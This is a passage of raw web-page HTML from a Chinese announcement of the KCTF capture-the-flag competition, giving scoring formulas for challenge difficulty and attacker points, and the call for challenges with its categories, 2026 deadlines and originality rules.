textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">基本原则</span></span></span></h4><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551h12" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">根据每道防守题的实际被破解时间、次数和多解，评价每道题的相对难度系数。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55djg" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">赛期内被发现多解的扣分，在此题赛期内直接生效。</span></span></p></li></ul><h4 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b55d0j" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">计算方法</span></span></span></h4><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p style="text-align: justify;"><span mpa-font-style="mp270b551fdq" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">每道题的原始难度系数：原始难度系数</span></span><semantics><mrow><mo><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">=</span></span></mo><mo></mo></mrow></semantics></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.24731182795698925" data-s="300,640" data-type="png" data-w="372" style="width:203px;height:50px;" type="block" data-imgfileid="311131221" src="https://wechat2rss.xlab.app/img-proxy/?k=9743a597&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FCpo2XCpI7K006Fqn9h5UaFMYkXDF0XrerF4xicls2cKK8mGmm1icKEnA2ZKozNArgsTjnPKL3ba6HicbsfKPicEfibibyicYRhFdXAichEBg4d6kHicI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: justify;"><span mpa-font-style="mp270b551fdq" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">其中，k 是此题被破解的次数，Bi 是此题的被破解时间，i 从 1 到 k，T 是此题赛期（天数）。</span></span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b557o3" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">将每道题的原始难度系数线性归一化到 [0,1]，即得到每道题的原始归一难度系数（此系数将用于攻击方计分）。</span></span></p></li><li><p style="text-align: justify;"><span mpa-font-style="mp270b55pdg" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">多解难度系数 = 原始难度系数 *</span></span><semantics><mrow><mo stretchy="false"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">(</span></span></mo><msup><mi><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">M</span></span></mi><mi><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">n</span></span></mi></msup><mo stretchy="false"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">)</span></span></mo></mrow><annotation encoding="application/x-tex"></annotation></semantics><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">(M^n)</span></span><span aria-hidden="true"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">(</span></span><span style=""><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">M</span></span></span><span style="height: 0.6644em;"><span style="top: -3.063em;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">n</span></span></span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">)</span></span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">,其中，M 为多解计算系数（87%），n 为在此题赛期内被发现的多解攻击方团队数量，n 大于 5 时，视同为 5。</span></span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55e6c" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">将每道题的多解难度系数线性归一化到 [0,1]，即得到每道题的难度系数。（在比赛中，尚未被破解的题（含尚未开始比赛的题），暂计其难度系数为 1）。</span></span></p></li></ul><h4 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b5520ec" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">解释</span></span></span></h4><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b551y81" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">多解或非预期解，是指在某个问题或任务中，存在两个或更多个不同的flag，这些flag都能够满足问题或任务的要求；</span></span></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55x61" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">被破解次数越少、被破解时间越长、被发现多解的个数越少、挺过赛期越久的防守题，其难度系数越大。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55kf1" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">若被 1 个攻击方发现多解，则此题多解难度系数 = 原始难度系数 * 87%；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551pgl" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">若被 2 个攻击方发现多解，则此题多解难度系数 = 原始难度系数 * 87% * 87% = 原始难度系数 * 0.7569；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551i2o" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">若被 3 个攻击方发现多解，则此题多解难度系数 = 原始难度系数 * 87% * 87% * 87% = 原始难度系数 * 0.658503；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551xrg" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">若被 4 个攻击方发现多解，则此题多解难度系数 = 原始难度系数 * 87% * 87% * 87% * 87% = 原始难度系数 * 0.57289761；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551nye" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">若被 5 个及以上攻击方发现多解，则此题多解难度系数 = 原始难度系数 * 87% * 87% * 87% * 87% * 87% = 原始难度系数 * 0.4984209207。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551y4t" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">难度系数是相对值，会随着比赛进行而变化。最简单的题难度系数为 0，最难的题为 1。比赛结束时将得到每道题的最终难度系数。</span></span></p></li></ul><h3 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b551pyi" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">3.2 火力值积分</span></span></span></h3><h4 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b551770" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">基本原则</span></span></span></h4><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55aig" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">火力值计分规则鼓励：既具有较高难度又适合于有限赛期的题。难度较高且在赛期之内能够被破解的题，将获得较高火力值积分。</span></span></p></li></ul><h4 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b553vx" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">计算方法</span></span></span></h4><ul style="list-style-type: circle;" class="list-paddingleft-1"><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55bj" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">对每道题，分别计算每个破解者的攻击火力系数，得分在 [1,0) 之间：</span></span></p><blockquote><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551f0a" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">攻击火力系数 = 此题一血时间 / 此攻击方破解此题的时间</span></span></p></blockquote></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551eyx" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">对每道题，累计每个破解者的攻击火力系数之和，得到此题累计攻击火力系数。无人破解的题，累计攻击火力系数为 0。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b5523ux" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">根据每道题（除签到题以外）的归一化难度系数，计算所有破解者在此题上的火力值：</span></span></p><blockquote><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551peb" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">火力值 = 此题难度系数 * 累计攻击火力系数 * 100</span></span></p></blockquote></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551gjc" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">根据每道题的火力值从高到低排序，评选本届比赛“火力焦点奖”。</span></span></p></li></ul><h4 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b55qjw" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">解释</span></span></span></h4><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b553i8" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">完全无人破解的题目，火力值为 0；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55twy" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">除签到题以外，最简单的题，其难度系数为 0，其火力值也为 0；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55wuq" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">难度较高且有多人破解的题，会得高分。</span></span></p></li></ul><h3 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b551o2n" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">3.3 难度值积分</span></span></span></h3><h4 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b55xo9" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">基本原则</span></span></span></h4><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551j7j" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">难度值计分规则鼓励：破解难度最高的题。它们代表着本届比赛的防守最高水平。</span></span></p></li></ul><h4 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b551lz6" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">计算方法</span></span></span></h4><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55vv1" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">出题难度值：</span></span></p><blockquote><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55f50" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">出题难度值 = (出题基本分 50 分 + 难度系数 * 难度加权分 150 分) * (1 + 一血加分系数)</span></span></p></blockquote></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551do2" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">若无人破解此题，则一血加分系数为 10%；若有人破解成功，则一血加分系数为 0。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b5524zi" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">根据每道题的难度值从高到低排序，评选本届比赛“最佳坦克奖”。</span></span></p></li></ul><h4 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b551d54" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">解释</span></span></span></h4><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551mjx" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">最简单的题的出题难度值是：出题基本分；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55z6i" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">最难的题是：出题基本分 + 难度加权分；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b5512hh" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">一血的定义是指：题目第一次被破解；若无人拿下此题一血，则此题获得额外 10% 加分。</span></span></p></li></ul><h3 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b554zi" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">3.4 精致度积分</span></span></span></h3><h4 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b552rq" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">基本原则</span></span></span></h4><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551878" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">精致度计分规则鼓励：难度高且代码短的防守题。精致度反映了一道题的难度密度。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b5518ym" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">题目是以 CPU 指令构成的，或者用自定义语言编写且自带解释器的，可以参评。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551s43" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">用其它解释型语言编写的，不参评。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b5512k" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">WEB 题不参与精致奖评定。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551ij2" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">AI Security / LLM Security 题目是否参与精致奖评定，由组委会根据题目形态、题目包规模、核心逻辑和评审情况另行判定。</span></span></p></li></ul><h4 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b5514au" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">计算方法</span></span></span></h4><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551dun" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">防守题原始长度指标：</span></span></p><blockquote><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55dfg" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">防守题原始长度指标 = log(在比赛中供攻击方下载的题目包的文件长度)</span></span><span leaf=""><br/></span><span leaf="" mpa-font-style="mp270b55gj8" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">以 Byte 为单位。长度不足 1024B 的，计作 1024B。</span></span></p></blockquote></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b553jo" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">将每道题的原始长度指标线性归一化到 [0,1]，即得到每道题的长度指标。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551cv4" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">精致度积分 = 出题基本分 50 分 + (难度系数 * (1 - 长度指标)) * 450</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551w9x" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">根据每道题的精致度积分从高到低排序，评选本届比赛“精致奖”。</span></span></p></li></ul><h4 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b5511lg" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">解释</span></span></span></h4><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551l4d" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">具有一定难度且代码较短的题目，会得到较高精致度积分；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551n4z" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">攻击方下载的题目包可以是压缩的，压缩格式为 ZIP 或 RAR，由参赛者提供；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55a5j" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">题目下载包必须包含题目正常运行所需所有文件；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551wy4" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">比赛规则已经指定了多款 OS 作为运行平台。若题目需要其它软件支持，必须将其带入到题目包中。例如：题目需要一个特殊的 lib，则需要带上这个 lib。</span></span></p></li></ul><h3 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b5597m" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">3.5 攻击方积分</span></span></span></h3><h4 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b551nzk" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">基本原则</span></span></span></h4><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551tul" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">攻击方计分规则鼓励：破解高难度题目最多最快的团队。他们代表着本届比赛的攻击最高水平。</span></span></p></li></ul><h4 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b55a57" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">计算方法</span></span></span></h4><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55q0c" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">攻击方在某一道题上的得分：</span></span></p><blockquote><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55exk" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">攻击方得分 = (出题基本分 50 分 + 此题原始归一难度系数 * 难度加权分 150 分) * (此题一血时间 / 此攻击方破解此题的时间 + 1) / 2 * (1 + 一血加分系数)</span></span></p></blockquote></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551o4i" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">攻击方总积分 = 攻击方在其破解的每道题上的得分之和。</span></span></p></li></ul><h4 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b5511r2" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">解释</span></span></span></h4><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55ogg" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">若攻击方是此题的一血破解者，将获得此题出题难度值的 10% 的额外加分。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b553ej" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">其他破解者无一血加分，且得分依破解时间递减，理论上最少将获得此题出题难度值的一半。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551uma" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">如果未破解此题成功，则在此题上不得分。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55tny" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">攻击者在某题上的得分，不因此题出现多解而受影响。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551lhk" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">攻击方是否使用 AI 工具辅助分析、解题、脚本编写或 writeup 整理，不影响积分计算，仍以提交正确 flag、注册码、序列号或其他有效解题结果的时间为准。</span></span></p></li></ul><div style="box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;font-size: 16px;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 0px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;padding: 8px 12px;min-width: 5%;max-width: 100%;height: auto;background-image: linear-gradient(to top, rgb(223, 233, 243) 0%, white 100%);box-sizing: border-box;"><div style="text-align: justify;color: rgb(39, 47, 223);font-size: 15px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><b style="box-sizing: border-box;"><span leaf="">五、征题说明</span></b></p></div></div></div></div><h2 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b551nj6" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">1.征题范围</span></span></span></h2><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b551r66" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">CrackMe/Reverse（Windows、Android、Linux、IoT 等）、PWN、WEB、Crypto、AI Security / LLM Security 等相关题目。</span></span><span leaf=""><br/></span><span leaf="" mpa-font-style="mp270b55nen" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 128, 255);">注：自 2023 年起，不接受 Misc 类题型。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b5513vl" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">AI Security / LLM Security 题目包括但不限于 Prompt Injection、Jailbreak、RAG 安全、Agent 工具调用安全、模型与数据安全、AI 供应链安全、LLM 应用漏洞利用等方向。该类题目须保证可复现、可审计、可稳定判定，不得依赖不可控外部 AI 服务作为核心判题逻辑，相关题目须经组委会专项审核后方可参赛。</span></span></p><h2 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b55yoy" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">2.征题数量</span></span></span></h2><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b551vha" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">数量不限！选出10-12题较为优秀的题目参与 KCTF 赛，其他符合规则的题目将录入平台数据库备用。</span></span></p><h2 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b55edu" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">3.征题期限</span></span></span></h2><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b551ai" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">2026年4月2日 ～ 2026年8月5日</span></span></p><h2 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b551162" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">4.征题要求</span></span></span></h2><h3 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b55206c" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">1)原创性要求</span></span></span></h3><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b55229" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">所有题目必须是原创并且没有公开过。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b55jir" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">使用 AI 辅助生成的题目，仍须满足原创且未公开要求。不得直接提交公开题、历史题、他人题目、训练语料中高度相似的题目，或未经授权的第三方代码、素材和数据。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b551pgf" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">AI 生成或辅助生成的内容一旦提交参赛，视同防守方自行设计和编写，由防守方承担全部责任。</span></span></p><h3 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b551gf9" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">2)防守方提交内容</span></span></span></h3><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b5521sb" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">防守方应打包提交以下内容：</span></span></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55jq2" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">团队名称；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551ipk" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">团长 QQ；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55zqn" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">参赛题目；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b552v4" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">题目答案（攻击脚本）；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55196z" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">详细的题目设计说明；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551s8s" style="font-size: 15px;"><span 